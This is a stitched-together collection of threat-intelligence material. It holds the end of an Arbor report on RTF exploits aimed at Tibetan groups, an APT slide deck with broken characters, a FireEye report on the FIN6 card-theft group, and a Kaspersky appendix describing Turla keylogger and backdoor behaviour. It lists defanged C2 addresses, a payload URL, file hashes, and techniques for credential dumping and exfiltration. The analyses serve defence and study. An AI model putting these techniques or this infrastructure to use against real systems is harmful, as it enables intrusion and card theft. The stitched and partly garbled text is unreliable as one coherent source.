Tibet House Lure This malware originates on December 31, 2015 and used the original filename [tibethouse] Upcoming Program Announcement Last Week of December.doc. This timing and naming scheme is consistent with the Tibetan-themed engagement seen in late December of 2015. The malware was first submitted to Virus Total from India, and exploits CVE-2012-0158, CVE-2012-1856, and CVE-2016-1641. The bait file is a seven page Upcoming Programme Announcement apparently written by the Tibet House. Document metadata shows the user name HighSea (previously observed in Targeted Exploitation 8 herein): ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 44 Proprietary and Confidential Information of Arbor Networks, Inc. The Related People values inside these documents may be related to threat actors, or threat actor infrastructure. There is not enough information to determine if these names are simply generated programmatically or if they actually represent real people. In any event, the names have been re-used in some cases and may be a useful indicator of a maliciously crafted document. The malware at play here is T9000, displaying all of the usual expected T9000 files including the Elevate. DLL file discussed earlier in this report. The malware binary itself is identical to an aforementioned T9000 sample (Sixteen Drops of Kadam Empowerment: T9000 Keylogger) and therefore the C2 is also identical to what was reported earlier.
246
IOCs C2: 198.55.120[.
51,525
51,662
138
data/reports_final/0246.txt
IOCs C2: 198.55.120[. ]143:7386 C2: URL: http://198.55.120[. ]143:7386/B/ResN32.dll MD5 (RTF): 98bcd226890c5c2694ef9a34a23c9fbf MD5 (Elevate.dll): 1d335f6a58cb9fab503a9b9cb371f57b MD5 (QQMgr.dll): b9c584c7c34d14599de8cd3b72f2074b MD5 (QQMgr.inf): 8ac933be588f49560179c26ddbc6a753 MD5 (ResN32.dat): 50753c28878ce10a748fbd7b831ecbe1 MD5 (ResN32.dll): a45e5c32fc2bc7be9d6e4bba8b2807bf MD5 (hccutils.dll): 2299fb8268f47294eb2b18282540a955 MD5 (hccutils.inf): 2f31ef1a8fca047ed0d623010d569857 MD5 (hjwe.dat): d3601a5160b8d122261989d147221eb7 MD5 (qhnj.dat): a9de62186cb8d0e23b0dc75e1ae373ac MD5 (tyeu.dat): 29ec20f5fa1817dc9250c434e61420ea MD5 (vnkd.dat): 35f4ce864c3a3dc016fea3459d6402a9 ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 45 MD5 (1): b901f0b4aa6a3a6875235f96fce15839 SHA-256 (RTF): e13a0357cd51795100dbce25fe846783fbb7fd22c5efe438d9059edc10492f49 SHA-256 (Elevate.dll): 9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95 SHA-256 (QQMgr.dll): bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f SHA-256 (QQMgr.inf): ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a SHA-256 (ResN32.dat): 5b90fa081e3ac29a7339995f9b087dab9981409ff62e3215eb558908c6b96b14 SHA-256 (ResN32.dll): 1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 SHA-256 (hccutils.dll): 3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 SHA-256 (hccutils.inf): f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 SHA-256 (hjwe.dat): bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b SHA-256 (qhnj.dat): c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 SHA-256 (tyeu.dat): e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 SHA-256 (vnkd.dat): c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 SHA-256 (1): df50ea33616c916720c81d65563175d998a2c606360eeb3c8b727a482de3a4fc ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 46 Proprietary and Confidential Information of Arbor Networks, Inc. Conclusion Threat actors using similar exploit code are launching or continuing a variety of campaigns (termed as an engagement herein, where an engagement is an offensive action within a larger campaign context) aimed at targets such as the Tibetan community, Hong Kong and Taiwanese media, and Asian human rights workers. Due to the easy delivery of RTF files as attachments and the observation of numerous spear phish samples which reveal precise targeting and timelines, it is likely that spearphish was the primary vector of choice for most or all of the targeted exploitation scenarios profiled herein. The RTF files observed herein contained up to four unique exploits for various versions of Office. It is hypothesized that a similar builder kit which weve named the Four Element Sword Builder - is involved in the creation of these malicious documents, however future work is required to precisely classify the Four Element Sword builder with respect to crimeware and APT activity. In the case of the APT oriented threat scenarios profiled herein, anywhere from 2-4 of the exploits were typically observed. In the case of the cybercrime activities that will be profiled in a separate forthcoming document, 2-3 of these exploits were typically observed. All of the exploit code observed deals with older vulnerabilities that have been patched. However, considering the target populations at hand, it is possible that older systems may still be in use. Once APT actors gain a toehold inside an organization, past history shows that its just a matter of time before lateral movement and further exploitation scenarios will unfold to implement the actors actions on objectives. In the case of the Tibetan community, which has been under attack for years, there have been awareness campaigns designed to reduce risk by implementing special controls and procedures around dealing with attachments. Recently published documents by other security research organizations have revealed that actors have evolved to newer methods in their ongoing efforts to stay beneath the radar. Regardless of the delivery method, the malware profiled herein are active threats likely deployed in numerous other scenarios by this, or by other groups of actors. While older exploit code may be a threat to some populations and not to others, the weaponization of other vulnerabilities is likely taking place and such malware can easily become a payload in such a case, making all analytic and detective insight of the malicious code of relevance for defenders in the global defensive sphere. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 47 References 1. https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-blond.pdf 2. https://chinaview.wordpress.com/category/technology/internet/wikipedia/ 3. http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2012-0158-now-being-used-in-more-tibetan- themed-targeted-attack-campaigns/ 4. http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html 5. http://blog.ropchain.com/2015/07/27/analyzing-vupens-cve-2012-1856/ 6. https://gist.github.com/anonymous/4ac64f2a747db1bf5c89/revisions 7. https://www.youtube.com/channel/UCjgTCn331Pk4XTI68LwhkdQ/feed 8. https://nakedsecurity.sophos.com/2015/09/08/anatomy-of-a-malicious-email-recent-word-hole/ 9. https://nakedsecurity.sophos.com/2015/12/14/exploit-upgrade-for-microsoft-word-intruder-crimeware-kit/ 10. http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1770 11. https://technet.microsoft.com/library/security/ms15-059 12. http://researchcenter.paloaltonetworks.com/2015/08/rtf-exploit-installs-italian-rat-uwarrior/ 13. http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-of- myanmars-website/ 14. https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-blond.pdf 15. https://www.f-secure.com/weblog/archives00001736.html 16. https://github.com/citizenlab/malware-indicators/blob/master/network-indicators.csv 17. http://www.europarl.europa.eu/meetdocs/2014_2019/documents/droi/dv/420_speechmckune_/420_speechmckun e_en.pdf 18. https://www.virusbulletin.com/uploads/pdf/conference_slides/2013/Szappanos-VB2013.pdf 19. https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack/ 20. https://cryptam.com/docsearch.php?hash0683fac0b564fe5d2096e207b374a238a811e67b87856fc19bdf8eb3d6f 76b49submitSearch 21. http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targeted-attack-campaigns.pdf 22. http://blog.trendmicro.com/trendlabs-security-intelligence/new-targeted-attack-group-buys-bifrose-code-works-in- teams/ 23. http://www.engadget.com/2014/01/16/cos-china-operating-system/ 24. http://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government- agencies-2/ 25. http://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit- support 26. http://tibet.net/2016/01/sixteen-drops-of-kadam-empowerment-day-two/ 27. http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti- analysis-techniques/ 28. http://blog.jpcert.or.jp/2015/02/a-new-uac-bypass-method-that-dridex-uses.html 29. https://www.greyhathacker.net/?tagelevate 30. http://www.rfa.org/english/news/tibet/freed-12042015165254.html 31. http://www.rsaconference.com/writable/presentations/file_upload/hta-w04a-dll-side-loading-a-thorn-in-the-side-of- the-anti-virus-_av_-industry.pdf 32. http://pwc.blogs.com/cyber_security_updates/2016/03/taiwant-election-targetting.html 33. http://www.welivesecurity.com/2014/11/14/targeted-attacks-tibetan-advocates-using-g20-2014-summit-lure/ 34. https://citizenlab.org/2013/08/surtr-malware-family-targeting-the-tibetan-community/ 35. http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 48 Proprietary and Confidential Information of Arbor Networks, Inc. About ASERT The Arbor Security Engineering Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of todays enterprise and network operators. ASERT engineers and researchers are part of an elite group of institutions that are referred to as super remediators, and represent the best in information security. This is a reflection of having both visibility and remediation capabilities at a majority of service provider networks globally. ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds. ASERT also operates the world1s largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS, Arbors global network of sensors: http://atlas.arbor.net. This mission and the associated resources that Arbor Networks brings to bear to the problem of global Internet security is an impetus for innovation and research. To view the latest research, news, and trends from Arbor, ASERT and the information security community at large, visit our Threat Portal at http://www.arbornetworks.com/threats/. Hunng the Shadows: In Depth Analysis of Escalated APT Aacks Fyodor Yarochkin, Academia Sinica Pei Kan PK Tsung, Academia Sinica Ming-Chang Jeremy Chiu, Xecure Lab Ming-Wei Benson Wu, Xecure Lab 1 Agenda Why Taiwan? The Lstudio player fun J Taking a peek at Weaponry APT in a Cloud VicLmology or chicken-logy? 2 whoweare Based in Taiwan Interests in Computer Forensics Access to some raw network traffic data (fun) Get to fish interesting things (PROFFFIIITT) bensonwu [secret] fygrave [censored] 3 Disclaimer A few words before we move on. - With this research we are primarily interested in understanding the Ops and vicLms of discussed targeted aPacks. We DO NOT aPempt to perform any aPribuLon of potenLal aPackers. 4 Taiwan has been a frontline of APT balefield for some me 5 Many interesng things could be observed (though this is not Lstudio group) 6 Elirks: earlier campaign l Reported by Dell/Secureworks as Elirks hPp:// www.secureworks.com/cyber-threat-intelligence/threats/ chasing_apt/ 7 Elirks evoluon hPp://tw.myblog.yahoo.com/jwuzrxZwSGHxowPMGZAaj4I5 hPp://blog.yam.com/minzhu0906/arLcle/54726977 hPp://diary.blog.yam.com/bigtree20130514/arLcle/10173342 hPp://tw.myblog.yahoo.com/jw uzrxZwSGHxowPMGZAaj4I50- hPp://blogs.yahoo.co.jp/sakasesi2013/31805794.html hPp://www.plurk.com/mdbmdb 8 Elirks 2.0 silly to reuse the address-space Managed by the same IP addresses (easy to cross-correlate) 9 Another on-going Campaign l On-going: 10 On average, 48 APT emails a week 11 The Lstudio group: Exploring fun things in a greater detail :) 12 They start with a boring spearphhiiissh 13 Almost clean :) 14 The APT Landscape in Taiwan 15 Well examine the LStudio group today Unique indicators of the LStudio group: Debug symbols (.pdb) horse label and generator tag Some curious discoveries from the Lstudio backend data center -) 16 LStudio binaries have cute things hp://scan.xecure-lab.com 17 CSJ-Elise .. 18 They love fast cars J 19 Evora 20 FASST CARS J Lstudio Operaons and C2 21 Lstudio payload Generator Generator Owner Horse Label Generator-Tag APT Exploit delivery via email 22 We dont say victim G 23 The typical botnet model 24 Very advanced Zoo-management skills :) 25 APT advanced farming :) Operated by roughly 25 farmers Has controlled over 5,884 machines International coverage over 30 countries Utilizes 4 different Botnet software families Active since 2007 26 The Lstudio Chicken Cloud J APT Cloud Backend Data Center Farmer Boss? Farmer Group B Farmer Group A Command Channel (Second phase backdoor) Data Channel (First phase backdoor) Configurable Bounce APT Botnet A 27 APT Botnet B .. And who are the Chicken ? J 28 Internaonal Chicken Farm Corp. 29 chicken farms went internaonal 2 30 Share some Chicken J 31 When you travel, your chicken travel too J 32 Lets look at some travelers J 33 US Canada France England Taiwan ANOTHER DISCOVERY 34 .. do have 9 to 5 job ) 35 Just like some security researchers do J 36 AND THE LAST .. SOME HANDY TOOLS TO SHARE J 37 XecScan: Free API 38 Yara: a swiss-knife of stac sigs ) 39 Yara use Easy to integrate with your scripts IntegraLon with a proxy server is possible via icap yara plugin: hPps://github.com/fygrave/ c_icap_yara Raw network traffic monitoring project (and hPp/DNS indexing): hPps://github.com/fygrave/eyepkflow 40 More cool tools Moloch hPps://github.com/aol/moloch Yara mail hPps://github.com/kevthehermit/yaraMail Yara pcap hPps://github.com/kevthehermit/YaraPcap 41 Conclusions Complex infrastructure Operates since 2007 MulLple soqware versions MulLple back-ends VicLms government and private sector Mainly Taiwan but also seen world-wide 42 Questions? benson.wuxecure-lab.com jeremy.chiuxecure-lab.com pkhitcon.org fplurk.com 43 F I R E E Y E T H R E A T I N T E L L I G E N C E SPECIAL REPORT / APRIL 2016 FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 SS FC PAN FS NAME FS Primary Account No. ( 19 digits max.) Name (26 alphanumeric characters max. ADDITIONAL DATA ESDISCRETIONARY DATA LRC Expiration Date (YY/MM) 4 Service Code 3 No. of Characters No. of Characters SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 2 CONTENTS Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6 3 FIN6 4 Gaining Access - Indiscriminate or Intentional? 5 FIN6 - Getting the Job Done 6 Underground Card Shops - Following the Money 9 Conclusion 11 Reports on payment card intrusions and theft are often fragmentary. The focus is on various pieces of the attack and less about capturing the end-to-end cycle of compromise, data theft, illicit sale and use. The full scope of attacker activity traditionally occurs beyond the view of any one group of investigators. Incident response teams may have visibility into the technical aspects of the breach itself, while cyber crime researchers monitor the movement and sale of stolen data in the criminal underground. FireEye Threat Intelligence and iSIGHT Partners recently combined our research to illuminate the activities of one particular threat group: FIN6. This combined insight has provided unique and extensive visibility into FIN6s operations, from initial intrusion to the methods used to navigate the victims networks to the sale of the stolen payment card data in an underground marketplace. In this report, we describe FIN6s activities and tactics, techniques and procedures (TTPs), and provide a glimpse into the criminal ecosystem that supports the payoff for their operations. DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 FOLLOW THE MONEY: SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 3 SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 4 FIGURE 1: FIN6 OPERATIONAL METHODOLOGY INDISCRIMINATE TARGETED CASH OUT CARD SHOP Email phishing credential theft Lateral movement on the network Exfiltration payment card data to the cyber criminal underground GRABNEW MALWARE POS MALWARE FIN6 is a cyber criminal group intent on stealing payment card data for monetization. In 2015, FireEye Threat Intelligence supported several Mandiant Consulting investigations in the hospitality and retail sectors where FIN6 actors had aggressively targeted and compromised point- of-sale (POS) systems, making off with millions of payment card numbers. Through iSIGHT, we learned that the payment card numbers stolen by FIN6 were sold on a card shop an underground criminal marketplace used to sell or exchange payment card data. Figure 1 illustrates what we believe to be FIN6s typical operational methodology. FIREEYE INTELLIGENCE TRACKS targeted Financial threats (known as FIN groups) capable of using a wide range of tools and tactics during their computer network intrusions. These groups employ a high level of planning, organization and task management to accomplish their goals. The threat actors generally target a particular demographic or type of organization, and their goal is financial gain from the data they steal. They may profit through direct sale of stolen data (such as payment cards or personally identifiable information), unauthorized transfer of funds (such as with stolen bank account or bank routing credentials) or insider trading (based on the theft of non- public business information). FIN6 SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 5 Its not entirely clear how FIN6 initially compromises victims. In Mandiants investigations, FIN6 already possessed valid credentials to each victim network and used those credentials to initiate further intrusion activity.1 In one case, GRABNEW malware was found on a victim computer that FIN6 later used in its operations. We suspect that the computer was originally compromised with GRABNEW by a separate threat actor, who used GRABNEW to capture valid user credentials. FIN6 may have obtained those credentials (through purchase or trade) and used them for its operations. GAININGACCESS INDISCRIMINATE OR INTENTIONAL? FIN6s use of GRABNEW, or credentials collected by GRABNEW, is not altogether surprising and possibly points to a cyber crime support ecosystem that opens doors to threat actors capable of lateral movement and more damaging activities. Previously, we observed another FIN group FIN2 leverage several existing Citadel compromises to deploy their custom tools and expand within a network to compromise payment card systems. Likewise, Proofpoint recently observed GRABNEW variants leading to downloads of POS malware known as AbaddonPOS. GRABNEW, ALSO KNOWN AS NEVERQUEST AND VAWTRAK, emerged around 2013 and since then has been consistently and indiscriminately spread through massive spam campaigns. We typically differentiate between threat actors who indiscriminately distribute malware and threat actors who use malware selectively. GRABNEW itself is a credential-stealing backdoor with form-grabbing capabilities and the ability to inject code into specific web pages to, for example, mimic a valid login prompt for a financial institution to facilitate banking fraud. In some cases, the presence of GRABNEW malware has overlapped with the spread of POS malware such as PoSeidon, a variant of the Backoff POS malware. 1 When investigating an intrusion, it may be challenging to determine the initial method of compromise the means through which a threat group first gained access to a victim network. While in some cases evidence may point to a spear-phishing attack or exploit execution, in other cases little to no forensic evidence of the original compromise remains. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 6 All threat groups generally follow a broad operational framework known as the Attack Lifecycle. While the phases of the Attack Lifecycle from initial compromise to privilege escalation to maintaining presence and completing the mission are remarkably consistent, the specific TTPs used vary widely based on a groups skills, motivations and ultimate goals. After gaining access with valid credentials, we observed FIN6 leveraging components of the Metasploit Framework to establish their foothoold. For example, in one case, FIN6 used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener that would execute shellcode received over a specific port. Similarly, FIN6 used at least two downloaders called HARDTACK and SHIPBREAD (apparent variations on Metasploit payloads) to establish backdoor access to the compromised environment. Both of these tools are configured to connect to remote command and control (CnC) servers and download and execute shellcode. FIN6 generally used either registry run keys or Windows scheduled tasks in order to establish persistence for these tools. Once their accesses were established with preferred backdoors, FIN6 used additional public utilities such as Windows Credentials Editor for privilege escalation and credential harvesting. Additional privilege escalation tools exploited Microsoft Windows vulnerabilities in an attempt to compromise privileged account credentials on various hosts. The tools targeted CVE-2013-3660, CVE-2011-2005 and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.2 Continuing their use of Metasploit-related tools, FIN6 also used Metasploits PsExec NTDSGRAB module to obtain a copy of the Active Directory database (ntds.dit). Access to this file would allow them to extract password hashes from the file and crack them offline. FIN6 GETTING THE JOB DONE 2 These vulnerabilities have all been patched by Microsoft Windows systems with up-to-date software and security patches should not be exploitable. ADDITIONAL DATA ESDISCRETIONARY DATA LRC Expiration Date (YY/MM) 4 Service Code 3 No. of Characters No. of Characters After locating POS systems within the targets environment, FIN6 deployed POS malware that we call TRINITY. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 7 In addition to collecting credentials, FIN6 used publicly available tools to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers and NetBIOS. In particular, during the reconnaissance phase they gathered information on systems running SQL instances, dumping schemas for multiple databases and SQL user accounts. Specific tools used by FIN6 included Microsofts built-in SQL querying tool (osql.exe), Query Express (a free, portable graphical SQL client capable of connecting to Microsoft SQL and Oracle databases) and AdFind, a free command-line tool for querying Active Directory. Over the course of one day, for example, the group targeted more than 900 SQL servers to dump reconnaissance information to support further operations. Capitalizing on the acquired reconnaissance data, FIN6 began lateral movement using credentials stolen from various systems on which they gathered usernames and password hashes. They likely cracked these hashes outside of the targets network before using multiple sets of domain admin credentials in combination with remote command execution tools such as PsExec and Remote Command Executor (RemCom) throughout the rest of the lateral movement phase. To maintain presence and support interactive access in the environment, FIN6 leveraged the publicly available Plink command-line utility (part of the PuTTY SSH and Telnet suite) to create SSH tunnels to CnC servers under their control. As shown in Figure 2, they used these SSH tunnels to route Remote Desktop Protocol (RDP) traffic and allow for interactive RDP sessions with systems in the target network. After locating POS systems within the targets environment, FIN6 deployed POS malware that we call TRINITY (also known as FrameworkPOS), with Scheduled Tasks being used for persistence. TRINITY runs continuously and targets system processes not listed in its accompanying process blacklist, seeking data that matches payment card track data. Once the malware identifies track data, it copies and encodes it to a local file in a subdirectory of the c:\windows\ directory while attempting to conceal these files with .dll or .chm extensions. In one particular case and as an example of scale FIN6 compromised and deployed TRINITY on around 2,000 systems, resulting in millions of exposed cards. Finally, to move the stolen payment card data out of the environment, FIN6 used a script to systematically iterate through a list of compromised POS systems, copying the harvested track data files to a numbered log file before removing the original data files. They then compressed the log files into a ZIP archive and moved the archive through the environment to an intermediary system and then to a staging system. From the staging system, they then copied the stolen data to external CnC servers under their control using the FTP command line utility. In another case, FIN6 used an alternative extraction method to upload payment card data to a public file sharing service.
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TRINITY IS POS MALWARE THAT ATTEMPTS TO LOCATE AND STEAL PAYMENT CARD DATA FROM MEMORY. The malware first creates mutexes named m_number3 and MuTex-Check and exits if either already exists. The malware then continuously iterates over the current process listing and examines the memory space of each process. Processes with module names less than five characters are skipped, along with some specific process names that are unlikely to contain payment card information. TRINITY logs captured data to disk, typically to a file in WINDIR\temp or WINDIR\help. The malware encodes the data with a simple substitution cipher and single-byte XOR using the OxAA key. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 8 FIGURE 2 : NETWORK DIAGRAM SHOWING FIN6 PLINK SSH TUNNEL USED TO ROUTE RDP TRAFFIC TO VICTIM COMPUTERS ATTACKER CnC SERVER VICTIM 1 HOST ATTACKER CnC SERVER ATTACKER CnC SERVER VICTIM 2 VICTIM 3 VICTIM 4 PLINK TUNNEL RDP TUNNEL RDP FOLLOWING THE MONEY Using iSIGHT Partners collected intelligence, we discovered that the stolen payment card data from these intrusions were sold in an underground card shop. This particular shop is advertised on multiple underground cyber crime forums and has offered diverse criminals access to millions of stolen payment cards on a regular basis. This closes the loop on the lifecycle of cyber criminal activity and exemplifies one of the final stages of cyber crime actors monetizing their stolen data. We have identified stolen data from several of FIN6s victims being sold by this vendor as far back as 2014. This connection means that data UNDERGROUND CARD SHOPS stolen by FIN6 has almost certainly ended up in the hands of fraud operators across the world, as they buy and exploit payment cards from the underground shop. In each case, the stolen data began appearing in the shop within six months of the FIN6 breach. While the amount of data sold through the shop varies by breach, in some cases more than 10 million cards associated with a specific FIN6-linked breach have been identified on the shop. After being posted, much of the stolen card data is quickly purchased for exploitation. Along with the data we have linked to FIN6, this underground shop has sold data from millions of other cards, which may be linked to breaches perpetrated by other threat actors. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 9 Our analysis of the data sold through this underground vendor indicates that FIN6s compromises are highly profitable to the actors involved, potentially resulting in extensive fraud losses. SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 10 Our analysis of the data sold through this underground vendor indicates that FIN6s compromises are highly profitable to the actors involved, potentially resulting in extensive fraud losses. For instance, in one FIN6-linked breach the vendor was advertising nearly than 20 million cards. These cards were predominantly from the United States and selling for an average of 21. So the total return for the shop if all the data was sold at full price could have been about 400 million. In reality, the shop would typically only make a fraction of this figure since not all the data would be sold (laundering stolen cards is typically much harder than stealing them), buyers want the newest data they can get (data that has been on the shop for a while loses its value) and the shop offers discounts based on various criteria. Still, a fraction of 400 million is a significant sum. In turn, cyber criminals purchasing the data would expect to make more than they paid for the cards by conducting fraudulent transactions using those cards. Not all of the data sold on this particular card shop has been tied to an identified compromise or specific cyber criminal group. Additionally, as is often the case with prominent cyber criminal vendors, it is not yet clear how the operators of the underground site are linked to the actors who steal the data the shop sells. The vendor has sold large amounts of card data with varied characteristics, so it is possible the shop operators maintain relationships with more than one data provider. FIN6 members could include some of the operators behind this shop alternately, FIN6 could be selling stolen data to the operators of this site. UNDERGROUND COMMUNITIES DEALING IN STOLEN CARD DATA EXIST ACROSS THE world and are a major facilitator of money laundering operations. A large number of these communities take the form of illicit e-commerce sites called card shops or dump shops (criminals refer to stolen card-present transaction data as dumps). These shops allow their clientele to use a web-based platform to sort through data on thousands or millions of payment cards and purchase exactly the types they want based on their money laundering capabilities. These data are then added to the clients cart for checkout, similar to a legitimate website. Subsequently, customers use the card information they have purchased for many different money laundering schemes, such as buying and reselling gift cards or electronics. Good threat intelligence comes from a combination of factors. It requires visibility into the threat landscape, including both a broad view (the ability to identify activity across a range of countries, industries and organizations) and a deep view (the ability to gather detailed information about how threat actors operate). It also requires skilled analysts who are able to review, fuse and understand the available data. In this case, the combined intelligence from FireEye, Mandiant and iSIGHT intelligence teams was able to not only identify malicious activity aimed at stealing payment card data, but also provide a detailed window into that activity from compromise through monetization of the stolen data. The story of FIN6 shows how real-world threat actors operate, providing a glimpse not only into the technical details of the compromise, but also into the human factor as well namely, the interactions between different criminals or criminal groups, and how it is not just data being bartered or sold in the underground, but also tools, credentials and access. CONCLUSION SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 11 FireEye, Inc. 1440 McCarthy Blvd. Milpitas, CA 95035 408.321.6300 / 877.FIREEYE (347.3393) / infoFireEye.com www. FireEye.com 2016 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.FIN6.EN-US.042016 To download this or other FireEye Threat Intelligence reports, visit: www.fireeye.com/reports.html mailto:info40FireEye.com?subject http://www. FireEye.com https://www.fireeye.com/reports.html The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros Kaspersky Lab Global Research and Analysis Team Version 1.0 August 6, 2014 2 TLP: Green For any inquire please contact intelreportskaspersky.com Technical appendix: malware samples and indicators of compromise (IOC) A. Keylogger module File name: varies MD5: a3cbf6179d437909eb532b7319b3dafe Compilation timestamp: 2012.10.02 10:51:50 (GMT) Compiler: Microsoft Visual Studio 2010 File format: PE32 DLL Exports: _LowLevelKeyboardProc12 Creates the log file: TEMP\DFD3O8.tmp. If failed, tries to write to the file f:\keyhook.log Each time the keylogger starts, it appends the following header to the log file: -------------------------------------------------------------------------------- New Session: fully qualified computer name timestamp -------------------------------------------------------------------------------- It then creates a hidden console window and registers its only export _LowLevelKeyboardProc12 as a hook procedure for low-level keyboard input events (WH_KEYBOARD_LL hook). Depending on the results, it writes a line to its log file. In case the hook was installed, the line is Started..., else LoadLibrary path to its file failed, error code. It also starts a thread that retrieves the current foreground window handle every 100 milliseconds. This handle is then used in the keyboard hook procedure. The low-level keyboard hook procedure intercepts WM_KEYDOWN, WM_KEYUP and WM_ SYSKEYDOWN system messages and writes information about each keystroke to the log file. Every time a new window becomes active, it retrieves its name and the path to its application and writes this information to the log file: [path to the applications executable file: window title] 3 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com B. The Epic/Tavdig/Wipbot backdoor (Main backdoor module) Analyzed file (others are similar): Compilation timestamp: 2013.10.15 10:43:09 (GMT) File format: PE32 DLL, modified (the file is supposed to be started by a custom loader) Exports: 1000837F: ModuleStart 100083A9: ModuleStop 100083BB: start The main functionality is implemented in a single function that is called by the DllMain entry point. The exported functions allow to call the same function directly (exported as start) or to start/stop it in a separate thread (ModuleStart/ModuleStop) and with slightly different parameters. This indicates the backdoor can also function as a plugin for the Turla Carbon system. The main function executes in an infinite loop. It collects most of the available information about the system, transmits it to the CC server and executes the commands it receives back. The module delays execution for random periods while it discovers running processes with one of the following filenames: tcpdump.exe windump.exe ethereal.exe wireshark.exe ettercap.exe snoop.exe dsniff.exe The following system information is collected: 1. Hardware information. Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ SystemInformation, value names: SystemManufacturer, SystemProductName. All registry subkeys of the key HARDWARE\DESCRIPTION\System\CentralProcessor, value name: ProcessorNameString. Available system memory status, total/free. 2. OS version information the newest version known to it is Windows 7 / 2008R2. Unidentified versions are marked as not support this version of Windows. 3. Computer name (ComputerNamePhysicalDnsFullyQualified).
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4 TLP: Green For any inquire please contact intelreportskaspersky.com 4. User name, local group name. 5. Common directory names: system, current, temporary directories. 6. Additional system information: System and user language settings User locale information: country name, current date, time zone. Uptime 7. Disk space information for all available logical drives. 8. List of available network shares. 9. List of all user accounts, privilege classes, time of the last logon. 10. List of current IPV4 TCP connections and UDP listeners. 11. Information about installed Windows updates from the file WINDOWS\SoftwareDistribution\ReportingEvents.log. 12. Detailed list of running processes and their owners. 13. List of all window titles. 14. Directory listing of available logical drives and of the directories: Desktop TEMP WINDOWS\Temp The retrieved information is compressed using bzip2, encrypted with AES and then encoded using Base64 before being transmitted to the CC server. When there is a file waiting for upload (usually, this is file that contains the results of the previously received and executed command), it is read from disk and uploaded to the server instead of the system information. The CC communication is implemented on top of the standard HTTP/HTTPS protocols. The list of the CC URLs is hardcoded in the binary but may be overridden by further commands. CC server communication cycle 5 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com The module uses Wininet API functions for issuing HTTP POST requests to the server. The module transmits the collected information in the body of the POST request and gets new commands from the servers response. The request body can be empty if there is no new information to upload. The response is usually an HTML document and the commands are Base64-encoded strings enclosed in div//div tags. Every command is encrypted using asymmetric encryption with temporary AES session keys. Each command is a mixed text/binary buffer. It consists of two parts: payload and configuration. The configuration is an INI file that controls the further behavior of the module. It is extracted into a temporary file named TEMP\Drandom.tmp. The payload, if exists, is supposed to be an executable file and may be executed if there is a corresponding command present in the INI part. The format of the decoded command is the following: Available commands are: Name Description exe Execute a command, redirect its output to the file TEMP\Drandom.tmp. The file is then uploaded during the next CC communication 